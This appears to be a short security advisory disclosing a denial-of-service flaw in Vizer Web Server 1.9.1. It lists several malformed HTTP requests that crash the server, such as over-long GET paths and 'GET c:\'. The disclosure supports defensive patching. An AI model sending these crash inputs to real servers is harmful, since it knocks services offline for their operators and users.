Vizer Web Server DoS

---

## SUMMARY

<<http://sourceforge.net/projects/vizerwebserver/>> Vizer is "an open source web server written in Visual Basic". A vulnerability in the product allows remote attackers to cause the product to become unable to service any additional requests by sending malformed HTTP requests.

## DETAILS

Vulnerable Systems:

\* Vizer Web Server version 1.9.1

The program doesn't well manage the input strings received, so an attacker is able to crash the web server, sending a crafted string. To test the vulnerability, send to the web server a string like:

index.htm

(without specifying GET and HTTP)

Or:

GET /aaaaaa[ 250 of a ]aaa HTTP/1.1

(specifying GET and HTTP)

Securiteam: [NT] Vizer Web Server DoS

GET /aaaaaa[ 250 of a ]aaa  
(specifying only GET)

Or:  
GET c:\  
(specifying only GET)

ADDITIONAL INFORMATION
